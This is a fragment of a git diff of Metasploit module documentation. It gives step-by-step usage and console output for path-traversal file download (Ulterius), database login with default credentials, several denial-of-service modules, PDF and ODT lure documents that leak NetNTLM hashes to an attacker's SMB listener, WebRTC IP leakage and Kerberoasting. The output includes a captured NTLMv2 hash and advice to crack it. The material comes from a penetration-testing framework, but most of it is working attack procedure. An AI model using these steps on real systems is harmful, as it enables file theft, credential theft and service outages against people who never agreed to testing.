When requesting a file, a relative or absolute file path is needed so the appropriate request can be generated. Fortunately, Ulterius Server creates a file called `fileIndex.db`, which contains filenames and directories located on the server. By requesting `fileIndex.db` and parsing the retrieved data, absolute file paths can be retrieved for files hosted on the server. Using the information retrieved from parsing `fileIndex.db`, additional requests can be generated to download desired files.
|
||||
|
||||
As noted in the [EDB PoC](https://www.exploit-db.com/exploits/43141/), the `fileIndex.db` is usually located at:
|
||||
|
||||
`http://ulteriusURL:22006/.../fileIndex.db`
|
||||
|
||||
Note: 22006 was the default port after setting up the Ulterius Server.
|
||||
|
||||
After retrieving absolute paths for files, the files can be retrieved by sending requests of the form:
|
||||
|
||||
`http://ulteriusURL:22006/<DriveLetter>:/<path>/<to>/<file>`
|
||||
|
||||
Note: The [EDB PoC](https://www.exploit-db.com/exploits/43141/) used relative paths to download files but absolute paths can be used on Windows-platforms as well, because the `HttpServer.Process` function made use of the [Path.Combine](https://msdn.microsoft.com/en-us/library/fyy7a5kt(v=vs.110).aspx) function.
|
||||
|
||||
> If *path2* includes a root, *path2* is returned.
|
||||
|
||||
## Options
|
||||
|
||||
**PATH**
|
||||
|
||||
This option specifies the absolute or relative path of the file to download. (default: `/…/fileIndex.db`)
|
||||
|
||||
Note: If you are using relative paths, use three periods when traversing down a level in the directory structure. If absolute paths are used, make sure to include the drive letter.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install Ulterius Server < v1.9.5.0
|
||||
- [ ] `./msfconsole`
|
||||
- [ ] `use auxiliary/admin/http/ulterius_file_download`
|
||||
- [ ] `set rhost <rhost>`
|
||||
- [ ] `run`
|
||||
- [ ] Verify loot contains file system paths from remote file system.
|
||||
- [ ] `set path '<DriveLetter>:/<path>/<to>/<file>'`
|
||||
- [ ] `run`
|
||||
- [ ] Verify contents of file
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ulterius Server v1.8.0.0 on Windows 7 SP1 x64.
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/admin/http/ulterius_file_download
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > set rhost 172.22.222.122
|
||||
rhost => 172.22.222.122
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > run
|
||||
|
||||
[*] Starting to parse fileIndex.db...
|
||||
[*] Remote file paths saved in: filepath0
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > set path 'C:/users/pwnduser/desktop/tmp.txt'
|
||||
path => C:/users/pwnduser/desktop/tmp.txt
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) > run
|
||||
|
||||
[*] C:/users/pwnduser/desktop/tmp.txt
|
||||
[*] File contents saved: filepath1
|
||||
[*] Auxiliary module execution completed
|
||||
msf5 auxiliary(admin/http/ulterius_file_download) >
|
||||
```
|
||||
@@ -21,6 +21,11 @@ To be able to use auxiliary/admin/smb/ms17_010_command:
|
||||
|
||||
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
|
||||
|
||||
If you're having trouble configuring an anonymous named pipe,
|
||||
Microsoft's
|
||||
[documentation](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-named-pipes-that-can-be-accessed-anonymously)
|
||||
on the topic may be helpful.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
|
||||
|
||||
@@ -0,0 +1,110 @@
|
||||
The teradata_odbc_sql module is used to run SQL queries for Teradata databases.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
* Teradata Database
|
||||
* Teradata Express
|
||||
|
||||
Teradata databases can be identified by scanning for TCP port 1025. An Nmap version scan can confirm if the service is recognized as Teradata.
|
||||
|
||||
The teradata_odbc_login module can be used to brute-force credentials.
|
||||
|
||||
## Extra Requirements
|
||||
|
||||
This module requires the Teradata ODBC driver and the Teradata python library.
|
||||
|
||||
### ODBC Driver for Kali Linux 2017.3
|
||||
1. Download the Teradata ODBC driver for Ubuntu from [downloads.teradata.com](https://downloads.teradata.com/download/connectivity/odbc-driver/linux).
|
||||
2. Refer to the Ubuntu package README for up-to-date instructions.
|
||||
1. Install **lib32stdc++6** if necessary.
|
||||
2. Install the ODBC drivers: `dpkg -i [package].deb`
|
||||
3. Copy **/opt/teradata/client/ODBC_64/odbc.ini** to **/root/.odbc.ini** .
|
||||
* Or your home directory if not root.
|
||||
* Make sure **odbc.ini** has been renamed to **.obdc.ini** .
|
||||
|
||||
### Configuration for OS X
|
||||
|
||||
On OS X the Python client needs to be pointed to the ODBC driver manually. Create `~/udaexec.ini` with the following contents:
|
||||
```ini
|
||||
[CONFIG]
|
||||
|
||||
odbcLibPath=/usr/lib/libiodbc.dylib
|
||||
```
|
||||
|
||||
### Python Package
|
||||
```
|
||||
pip install teradata
|
||||
```
|
||||
## Verification Steps
|
||||
1. Deploy a [Teradata Express](https://www.teradata.com/products-and-services/teradata-express) test environment.
|
||||
2. Install the OBCD driver and python package.
|
||||
3. Start msfconsole.
|
||||
4. Do: `use auxiliary/admin/teradata/teradata_odbc_sql`
|
||||
5. Do: `set RHOSTS [IPs]`
|
||||
6. Do: `set USERNAME [username to try]`
|
||||
7. Do: `set PASSWORD [password to try]`
|
||||
* The default Teradata credentials are the matching username and password 'DBC'.
|
||||
8. Set a SQL query for the 'SQL' option.
|
||||
* The default is `SELECT DATABASENAME FROM DBC.DATABASES`
|
||||
9. Do: `run`
|
||||
|
||||
```
|
||||
msf > use auxiliary/admin/teradata/teradata_odbc_sql
|
||||
msf auxiliary(admin/teradata/teradata_odbc_sql) > show options
|
||||
|
||||
Module options (auxiliary/admin/teradata/teradata_odbc_sql):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
PASSWORD dbc yes Password
|
||||
RHOSTS yes The target address range or CIDR identifier
|
||||
SQL SELECT DATABASENAME FROM DBC.DATABASES yes SQL query to perform
|
||||
THREADS 1 yes The number of concurrent threads
|
||||
USERNAME dbc yes Username
|
||||
|
||||
msf auxiliary(admin/teradata/teradata_odbc_sql) > set RHOSTS 192.168.0.2
|
||||
RHOSTS => 192.168.0.2
|
||||
msf auxiliary(admin/teradata/teradata_odbc_sql) > run
|
||||
|
||||
[*] Running for 192.168.0.2...
|
||||
[*] 192.168.0.2 - dbc:dbc - Starting
|
||||
[*] 192.168.0.2 - Creating connection: %s
|
||||
[*] 192.168.0.2 - Loading ODBC Library: %s
|
||||
[*] 192.168.0.2 - Available drivers: Teradata Database ODBC Driver 16.20,
|
||||
[*] 192.168.0.2 - Connection successful. Duration: %.3f seconds. Details: %s
|
||||
[+] 192.168.0.2 - dbc:dbc - Login Successful
|
||||
[*] 192.168.0.2 - Starting - SELECT DATABASENAME FROM DBC.DATABASES
|
||||
[*] 192.168.0.2 - Query Successful. Duration: %.3f seconds,%sQuery: %s%s
|
||||
[+] 192.168.0.2 - Row 1: [DatabaseUser ]
|
||||
[+] 192.168.0.2 - Row 2: [All ]
|
||||
[+] 192.168.0.2 - Row 3: [SYSJDBC ]
|
||||
[+] 192.168.0.2 - Row 4: [TDStats ]
|
||||
[+] 192.168.0.2 - Row 5: [TD_SYSXML ]
|
||||
[+] 192.168.0.2 - Row 6: [PUBLIC ]
|
||||
[+] 192.168.0.2 - Row 7: [DBC ]
|
||||
[+] 192.168.0.2 - Row 8: [SYSBAR ]
|
||||
[+] 192.168.0.2 - Row 9: [TD_SYSGPL ]
|
||||
[+] 192.168.0.2 - Row 10: [SYSLIB ]
|
||||
[+] 192.168.0.2 - Row 11: [SQLJ ]
|
||||
[+] 192.168.0.2 - Row 12: [LockLogShredder ]
|
||||
[+] 192.168.0.2 - Row 13: [Default ]
|
||||
[+] 192.168.0.2 - Row 14: [TDPUSER ]
|
||||
[+] 192.168.0.2 - Row 15: [TD_SYSFNLIB ]
|
||||
[+] 192.168.0.2 - Row 16: [EXTUSER ]
|
||||
[+] 192.168.0.2 - Row 17: [tdwm ]
|
||||
[+] 192.168.0.2 - Row 18: [SystemFe ]
|
||||
[+] 192.168.0.2 - Row 19: [External_AP ]
|
||||
[+] 192.168.0.2 - Row 20: [TDQCD ]
|
||||
[+] 192.168.0.2 - Row 21: [dbcmngr ]
|
||||
[+] 192.168.0.2 - Row 22: [Sys_Calendar ]
|
||||
[+] 192.168.0.2 - Row 23: [SysAdmin ]
|
||||
[+] 192.168.0.2 - Row 24: [TD_SERVER_DB ]
|
||||
[+] 192.168.0.2 - Row 25: [TDMaps ]
|
||||
[+] 192.168.0.2 - Row 26: [SYSUDTLIB ]
|
||||
[+] 192.168.0.2 - Row 27: [Crashdumps ]
|
||||
[+] 192.168.0.2 - Row 28: [SYSSPATIAL ]
|
||||
[+] 192.168.0.2 - Row 29: [MyUser ]
|
||||
[+] 192.168.0.2 - Row 30: [SYSUIF ]
|
||||
[*] Scanned 1 of 1 hosts (100% complete)
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
@@ -0,0 +1,67 @@
|
||||
## Description
|
||||
This module triggers a Denial of Service vulnerability in the Flexense Enterprise HTTP server. It is possible to trigger
|
||||
a write access memory vialation via rapidly sending HTTP requests with large HTTP header values.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
According To publicly exploit Disclosure of Flexense HTTP Server v10.6.24
|
||||
Following list of softwares are vulnerable to Denial Of Service.
|
||||
read more : http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-8065
|
||||
|
||||
|
||||
DiskBoss Enterprise <= v9.0.18
|
||||
Sync Breeze Enterprise <= v10.6.24
|
||||
Disk Pulse Enterprise <= v10.6.24
|
||||
Disk Savvy Enterprise <= v10.6.24
|
||||
Dup Scout Enterprise <= v10.6.24
|
||||
VX Search Enterprise <= v10.6.24
|
||||
|
||||
|
||||
**Vulnerable Application Link**
|
||||
http://www.diskboss.com/downloads.html
|
||||
http://www.syncbreeze.com/downloads.html
|
||||
http://www.diskpulse.com/downloads.html
|
||||
http://www.disksavvy.com/downloads.html
|
||||
http://www.dupscout.com/downloads.html
|
||||
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
All Flexense applications that are listed above can be installed by following these steps.
|
||||
|
||||
Download Application : ```https://github.com/EgeBalci/Sync_Breeze_Enterprise_10_6_24_-DOS/raw/master/syncbreezeent_setup_v10.6.24.exe```
|
||||
|
||||
**And Follow Sync Breeze Enterprise v10.6.24 Setup Wizard**
|
||||
|
||||
After the installation navigate to: ```Options->Server```
|
||||
|
||||
Check the box saying: ```Enable web server on port:...```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: `use auxiliary/dos/http/flexense_http_server_dos`
|
||||
4. Do: `set rport <port>`
|
||||
5. Do: `set rhost <ip>`
|
||||
6. Do: `check`
|
||||
```
|
||||
[+] 192.168.1.20:80 The target is vulnerable.
|
||||
```
|
||||
7. Do: `run`
|
||||
8. Web server will crash after 200-1000 request depending on the OS version and system memory.
|
||||
|
||||
## Scenarios
|
||||
**TESTED AGAINST WINDOWS 7/10**
|
||||
```
|
||||
msf5 > use auxiliary/dos/http/flexense_http_server_dos
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rhost 192.168.1.27
|
||||
rhost => 192.168.1.27
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > set rport 80
|
||||
rport => 80
|
||||
msf5 auxiliary(dos/http/flexense_http_server_dos) > run
|
||||
|
||||
[*] 192.168.1.20:80 - Triggering the vulnerability
|
||||
[+] 192.168.1.20:80 - DoS successful 192.168.1.20 is down !
|
||||
[*] Auxiliary module execution completed
|
||||
|
||||
```
|
||||
@@ -0,0 +1,101 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits a vulnerability in `WebKitFaviconDatabase` when `pageURL` is unset.
|
||||
If successful, it could lead to application crash, resulting in denial of service.
|
||||
|
||||
The `webkitFaviconDatabaseSetIconForPageURL` and `webkitFaviconDatabaseSetIconURLForPageURL`
|
||||
functions in `UIProcess/API/glib/WebKitFaviconDatabase.cpp` in WebKit, as used in WebKitGTK+
|
||||
through 2.21.3, mishandle an unset `pageURL`, leading to an application crash.
|
||||
|
||||
Related links :
|
||||
* https://bugs.webkit.org/show_bug.cgi?id=186164
|
||||
* https://datarift.blogspot.com/2018/06/cve-2018-11646-webkit.html
|
||||
|
||||
## Backtrace using Fedora 27
|
||||
|
||||
```
|
||||
#0 WTF::StringImpl::rawHash
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 508
|
||||
#1 WTF::StringImpl::hasHash
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 514
|
||||
#2 WTF::StringImpl::hash
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringImpl.h line 525
|
||||
#3 WTF::StringHash::hash
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/text/StringHash.h line 73
|
||||
#9 WTF::HashMap, WTF::HashTraits >::get
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/HashMap.h line 406
|
||||
#10 webkitFaviconDatabaseSetIconURLForPageURL
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 193
|
||||
#11 webkitFaviconDatabaseSetIconForPageURL
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitFaviconDatabase.cpp line 318
|
||||
#12 webkitWebViewSetIcon
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/API/glib/WebKitWebView.cpp line 1964
|
||||
#13 WTF::Function::performCallbackWithReturnValue
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/GenericCallback.h line 108
|
||||
#15 WebKit::WebPageProxy::dataCallback
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 5083
|
||||
#16 WebKit::WebPageProxy::finishedLoadingIcon
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WebKit/UIProcess/WebPageProxy.cpp line 6848
|
||||
#17 IPC::callMemberFunctionImpl::operator()
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 68
|
||||
#29 WTF::RunLoop::::_FUN(gpointer)
|
||||
at /usr/src/debug/webkitgtk4-2.18.0-2.fc27.x86_64/Source/WTF/wtf/glib/RunLoopGLib.cpp line 70
|
||||
#30 g_main_dispatch
|
||||
at gmain.c line 3148
|
||||
#31 g_main_context_dispatch
|
||||
at gmain.c line 3813
|
||||
#32 g_main_context_iterate
|
||||
at gmain.c line 3886
|
||||
#33 g_main_context_iteration
|
||||
at gmain.c line 3947
|
||||
#34 g_application_run
|
||||
at gapplication.c line 2401
|
||||
#35 main
|
||||
at ../src/ephy-main.c line 432
|
||||
|
||||
```
|
||||
|
||||
## Verification
|
||||
|
||||
Start msfconsole
|
||||
use auxiliary/dos/http/webkitplus
|
||||
Set SRVHOST
|
||||
Set SRVPORT
|
||||
Set URIPATH
|
||||
run (Server started)
|
||||
Visit server URL in epiphany web browser which uses webkit.
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf auxiliary(dos/http/webkitplus) > show options
|
||||
|
||||
Module options (auxiliary/dos/http/webkitplus):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 192.168.1.105 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH / no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
WebServer
|
||||
|
||||
|
||||
msf auxiliary(dos/http/webkitplus) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf auxiliary(dos/http/webkitplus) >
|
||||
[*] Using URL: http://192.168.1.105:8080/
|
||||
[*] Server started.
|
||||
|
||||
msf auxiliary(dos/http/webkitplus) >
|
||||
[*] Sending response
|
||||
|
||||
msf auxiliary(dos/http/webkitplus) >
|
||||
```
|
||||
@@ -3,7 +3,7 @@
|
||||
This module exploits a vulnerability in the NetBIOS Session Service Header for SMB.
|
||||
Any Windows machine with SMB Exposed, or any Linux system running Samba are vulnerable.
|
||||
See [the SMBLoris page](http://smbloris.com/) for details on the vulnerability.
|
||||
|
||||
|
||||
The module opens over 64,000 connections to the target service, so please make sure
|
||||
your system ULIMIT is set appropriately to handle it. A single host running this module
|
||||
can theoretically consume up to 8GB of memory on the target.
|
||||
@@ -14,7 +14,7 @@
|
||||
|
||||
1. Start msfconsole
|
||||
1. Do: `use auxiliary/dos/smb/smb_loris`
|
||||
1. Do: `set RHOST [IP]`
|
||||
1. Do: `set rhost [IP]`
|
||||
1. Do: `run`
|
||||
1. Target should allocate increasing amounts of memory.
|
||||
|
||||
@@ -30,14 +30,11 @@ msf auxiliary(smb_loris) >
|
||||
|
||||
msf auxiliary(smb_loris) > run
|
||||
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1025
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1026
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1027
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1028
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1029
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1030
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1031
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1032
|
||||
[*] 192.168.172.138:445 - Sending packet from Source Port: 1033
|
||||
....
|
||||
[*] Starting server...
|
||||
[*] 192.168.172.138:445 - 100 socket(s) open
|
||||
[*] 192.168.172.138:445 - 200 socket(s) open
|
||||
...
|
||||
[!] 192.168.172.138:445 - At open socket limit with 4000 sockets open. Try increasing you system limits.
|
||||
[*] 192.168.172.138:445 - Holding steady at 4000 socket(s) open
|
||||
...
|
||||
```
|
||||
|
||||
@@ -0,0 +1,38 @@
|
||||
## Vulnerable Application
|
||||
|
||||
Vulnerable application versions include:
|
||||
Claymore Dual GPU Miner<=10.5
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: `use auxiliary/dos/tcp/claymore_doc`
|
||||
3. Do: `set rhost`
|
||||
4. Do: `run`
|
||||
5. check your miner.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Claymore Dual GPU Miner/10.0 - window7
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/dos/tcp/claymore_dos
|
||||
msf5 auxiliary(dos/tcp/claymore_dos) > show options
|
||||
|
||||
Module options (auxiliary/dos/tcp/claymore_dos):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
rhost yes The target address
|
||||
rport 3333 yes The target port
|
||||
|
||||
msf5 auxiliary(dos/tcp/claymore_dos) > set rhost 127.0.0.1
|
||||
rhost => 127.0.0.1
|
||||
msf5 auxiliary(dos/tcp/claymore_dos) > run
|
||||
|
||||
[*] Starting server...
|
||||
[*] Creating sockets...
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
||||
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
This module will either create a blank pdf document which contains a UNC link which will connect back to LHOST if file FILENAME options is used
|
||||
or if PDFINJECT option is used will try and inject the necessary UNC code into an existing PDF document.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Various PDF Readers. Note Adobe released the patch APSB18-09 to prevent this and
|
||||
FoxIT after version 9.1 is no longer vulnerable.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/fileformat/badpdf```
|
||||
4. Customise Options as required
|
||||
5. Do: ```run```
|
||||
6. A file pointing back to the listening host will then be generated.
|
||||
7. Configure auxiliary/server/capture/smb or similar to capture hashes.
|
||||
8. Upload the document to an open share or similar and wait for hashes.
|
||||
|
||||
## Options
|
||||
|
||||
**FILENAME**
|
||||
This option allows you to customise the generated filename.
|
||||
This can be changed using set FILENAME test.pdf
|
||||
|
||||
**LHOST**
|
||||
This option allows you to set the IP address of the SMB Listener that the document points to
|
||||
This can be changed using set LHOST 192.168.1.25
|
||||
|
||||
**PDFINJECT**
|
||||
This option allows you to inject the UNC code into an existing PDF document
|
||||
This can be changed using set PDFINJECT /path/to/file/pdf.pdf
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Microsoft Windows
|
||||
|
||||
|
||||
```
|
||||
Console output
|
||||
```
|
||||
|
||||
```
|
||||
msf auxiliary(fileformat/badpdf) > show info
|
||||
|
||||
Name: BADPDF Malicious PDF Creator
|
||||
Module: auxiliary/fileformat/badpdf
|
||||
License: Metasploit Framework License (BSD)
|
||||
Rank: Normal
|
||||
|
||||
Provided by:
|
||||
Richard Davy - secureyourit.co.uk
|
||||
CheckPoint researchers - Assaf Baharav, Yaron Fruchtmann, Ido Solomon
|
||||
|
||||
Basic options:
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
FILENAME no Filename
|
||||
LHOST yes Host listening for incoming SMB/WebDAV traffic
|
||||
PDFINJECT no Path and filename to existing PDF to inject UNC link code into
|
||||
|
||||
Description:
|
||||
This module can either creates a blank PDF file which contains a UNC
|
||||
link which can be used to capture NetNTLM credentials, or if the
|
||||
PDFINJECT option is used it will inject the necessary code into an
|
||||
existing PDF document if possible.
|
||||
|
||||
References:
|
||||
https://cvedetails.com/cve/CVE-2018-4993/
|
||||
https://research.checkpoint.com/ntlm-credentials-theft-via-pdf-files/
|
||||
|
||||
msf auxiliary(fileformat/badpdf) >
|
||||
|
||||
msf auxiliary(fileformat/badpdf) > set filename test.pdf
|
||||
filename => test.pdf
|
||||
msf auxiliary(fileformat/badpdf) > set lhost 192.168.1.28
|
||||
lhost => 192.168.1.28
|
||||
msf auxiliary(fileformat/badpdf) > exploit
|
||||
|
||||
[+] test.pdf stored at /root/.msf4/local/test.pdf
|
||||
[\*] Auxiliary module execution completed
|
||||
msf auxiliary(fileformat/badpdf) > set filename ""
|
||||
filename =>
|
||||
msf auxiliary(fileformat/badpdf) > set pdfinject /root/Desktop/example.pdf
|
||||
pdfinject => /root/Desktop/example.pdf
|
||||
msf auxiliary(fileformat/badpdf) > exploit
|
||||
|
||||
[+] Malicious file writen to /root/Desktop/example_malicious.pdf
|
||||
[\*] Auxiliary module execution completed
|
||||
msf auxiliary(fileformat/badpdf) >
|
||||
|
||||
```
|
||||
@@ -0,0 +1,91 @@
|
||||
BADODT Module creates an ODT file which includes a file:// link which points back to a listening SMB capture server.
|
||||
This module has been tested on both LibreOffice 6.03 /Apache OpenOffice 4.1.5 and upon opening connects to the server
|
||||
without providing any warning to the user. This allows an attacker the opportunity to potentially steal NetNTLM hashes.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
- [LibreOffice 6.03](https://www.libreoffice.org/download/download/)
|
||||
- [Apache OpenOffice 4.1.5](https://sourceforge.net/projects/openofficeorg.mirror/files/4.1.5/binaries/en-US/Apache_OpenOffice_4.1.5_Win_x86_install_en-US.exe/download)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use auxiliary/fileformat/odt_badodt```
|
||||
4. Customise Options as required
|
||||
5. Do: ```run```
|
||||
6. A malicious document will then be generated.
|
||||
7. Configure auxiliary/server/capture/smb or similar to capture hashes.
|
||||
8. Send document to target and wait for them to open.
|
||||
|
||||
## Options
|
||||
|
||||
**CREATOR**
|
||||
|
||||
This option allows you to customise the document author for the new document:
|
||||
```
|
||||
set CREATOR New_User
|
||||
```
|
||||
|
||||
**FILENAME**
|
||||
|
||||
This option allows you to customise the generated filename:
|
||||
```
|
||||
set FILENAME salary.odt
|
||||
```
|
||||
|
||||
**LHOST**
|
||||
|
||||
This option allows you to set the IP address of the SMB Listener that the .odt document points to:
|
||||
|
||||
```
|
||||
set LISTENER 192.168.1.25
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
Install LibreOffice 6.03 or Apache OpenOffice 4.1.5 on a Windows workstation. (Note: This attack does not work against Mac or Linux versions.)
|
||||
|
||||
```
|
||||
msf5 > use auxiliary/fileformat/odt_badodt
|
||||
msf5 auxiliary(fileformat/odt_badodt) > set FILENAME salary.odt
|
||||
FILENAME => salary.odt
|
||||
msf5 auxiliary(fileformat/odt_badodt) > set LHOST 192.168.1.25
|
||||
LHOST => 192.168.1.25
|
||||
msf5 auxiliary(fileformat/odt_badodt) > set CREATOR A_USER
|
||||
CREATOR => A_USER
|
||||
msf5 auxiliary(fileformat/odt_badodt) > exploit
|
||||
|
||||
[*] Generating Malicious ODT File
|
||||
[*] SMB Listener Address will be set to 192.168.1.25
|
||||
[+] salary.odt stored at /root/.msf4/local/salary.odt
|
||||
[*] Auxiliary module execution completed
|
||||
msf auxiliary(fileformat/odt_badodt) >
|
||||
```
|
||||
|
||||
On an attacker workstation, use a tool to serve and capture an SMB share on port 445, capturing NTLM hashes. Note that any tool listening on :445 will require superuser permissions:
|
||||
|
||||
```
|
||||
$ sudo ./msfconsole
|
||||
msf5 > use auxiliary/server/capture/smb
|
||||
msf5 auxiliary(server/capture/smb) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf5 auxiliary(server/capture/smb) >
|
||||
[*] Server started.
|
||||
|
||||
msf5 auxiliary(server/capture/smb) >
|
||||
```
|
||||
|
||||
Leave the metasploit SMB server listening while the user opens the document. Upon opening the ODT file, the user workstation will attempt to connect (and authenticate) to the attacker workstation:
|
||||
|
||||
```
|
||||
[*] SMB Captured - 2018-06-06 11:14:23 -0500
|
||||
NTLMv2 Response Captured from 192.168.108.171:49180 - 192.168.108.171
|
||||
USER:asoto-r7 DOMAIN:WIN-TSD7B7BQKDQ OS: LM:
|
||||
LMHASH:Disabled
|
||||
LM_CLIENT_CHALLENGE:Disabled
|
||||
NTHASH:3910d841a30289ad9876e09321c1099a
|
||||
NT_CLIENT_CHALLENGE:0101000000000000a9d923e9f909391957581abc8d91038400000000020000000000000000000000
|
||||
```
|
||||
|
||||
Finally, crack the hash to capture the user's credentials.
|
||||
@@ -0,0 +1,47 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module retrieves a browser's network interface IP addresses using WebRTC. However, after visiting the HTTP server, the browser can disclose a private IP address in a STUN request.
|
||||
|
||||
Related links : https://datarift.blogspot.in/p/private-ip-leakage-using-webrtc.html
|
||||
|
||||
## Verification
|
||||
|
||||
Start msfconsole
|
||||
use auxiliary/gather/browser_lanipleak
|
||||
Set SRVHOST
|
||||
Set SRVPORT
|
||||
run (Server started)
|
||||
Visit server URL in any browser which has WebRTC enabled
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
msf auxiliary(gather/browser_lanipleak) > show options
|
||||
|
||||
Module options (auxiliary/gather/browser_lanipleak):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SRVHOST 192.168.1.104 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
|
||||
SRVPORT 8080 yes The local port to listen on.
|
||||
SSL false no Negotiate SSL for incoming connections
|
||||
SSLCert no Path to a custom SSL certificate (default is randomly generated)
|
||||
URIPATH no The URI to use for this exploit (default is random)
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
WebServer
|
||||
|
||||
|
||||
msf auxiliary(gather/browser_lanipleak) > run
|
||||
[*] Auxiliary module running as background job 0.
|
||||
msf auxiliary(gather/browser_lanipleak) >
|
||||
[*] Using URL: http://192.168.1.104:8080/mIV1EgzDiEEIMT
|
||||
[*] Server started.
|
||||
|
||||
[*] 192.168.1.104: Sending response (2523 bytes)
|
||||
[+] 192.168.1.104: Found IP address: X.X.X.X
|
||||
```
|
||||
@@ -0,0 +1,31 @@
|
||||
## Description
|
||||
|
||||
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrive Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
To avoid library/version conflict, it would be useful to have a pipenv virtual environment.
|
||||
|
||||
* `pipenv --two && pipenv shell`
|
||||
* Follow the [impacket installation steps](https://github.com/CoreSecurity/impacket#installing) to install the required libraries.
|
||||
* Have a domain user account credentials
|
||||
* `./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'`
|
||||
* Get Hashes
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'
|
||||
rhosts => <dc-ip>
|
||||
smbuser => <user>
|
||||
smbpass => <password>
|
||||
smbdomain => <domain>
|
||||
[*] Running for <domain>...
|
||||
[*] Total of records returned <num>
|
||||
